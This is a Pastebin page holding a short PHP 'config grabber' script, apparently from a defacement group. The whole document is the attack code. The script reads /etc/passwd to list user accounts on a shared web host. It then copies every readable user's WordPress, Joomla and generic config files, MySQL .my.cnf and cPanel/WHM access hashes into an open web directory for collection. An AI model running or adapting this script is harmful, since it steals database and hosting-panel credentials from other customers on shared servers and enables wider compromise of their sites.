AZZATSSINS_CYBERSERK

CONFIG GRABBER V1.8

Apr 27th, 2016
151
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.10 KB | None | 0 0
  1. <? /*Config Grabber By AZZATSSINS CYBERSERKERS*/
  2. //$us = file_get_contents("/etc/passwd");
  3. $usa = fopen('/etc/passwd','r');
  4. $dir = mkdir('AZZATSSINS', 0777);
  5. $rrrr = "Options all \n DirectoryIndex AZZATSSINS \n Require None \n Satisfy Any";
  6. $frr = fopen('AZZATSSINS/.htaccess', 'w');
  7. fwrite($frr, $rrrr);
  8. while($us = fgets($usa)){
  9.  if($us==""){
  10.  echo "<font color=red>can't read /etc/passwd</font>";
  11.  }
  12. else{
  13.  preg_match_all('/(.*?):x:/', $us, $user_byk);
  14.  foreach($user_byk[1] as $user){
  15.  $dir1 = "/home/$user/public_html/";
  16. if(is_readable($dir1)){
  17.  
  18. system('cp '.$dir1.'wp-config.php AZZATSSINS/'.$user.'-WPS-azzatssins.txt');
  19. system('cp '.$dir1.'configuration.php AZZATSSINS/'.$user.'-CMS-azzatssins.txt');
  20. system('cp '.$dir1.'config.php AZZATSSINS/'.$user.'-ETC-azzatssins.txt');
  21. system('cp /home/'.$user.'/.my.cnf AZZATSSINS/'.$user.'-CP-azzatssins.txt');
  22. system('cp /home/'.$user.'/.accesshash AZZATSSINS/'.$user.'-WHM-azzatssins.txt');
  23. }
  24. else{
  25.     }
  26. }
  27. }
  28.  
  29. } system('rm AZZATSSINS/.htaccess');
  30.  
  31. echo'<meta http-equiv="Refresh" content= "0; url=AZZATSSINS">'; ?>
Add Comment
Please, Sign In to add comment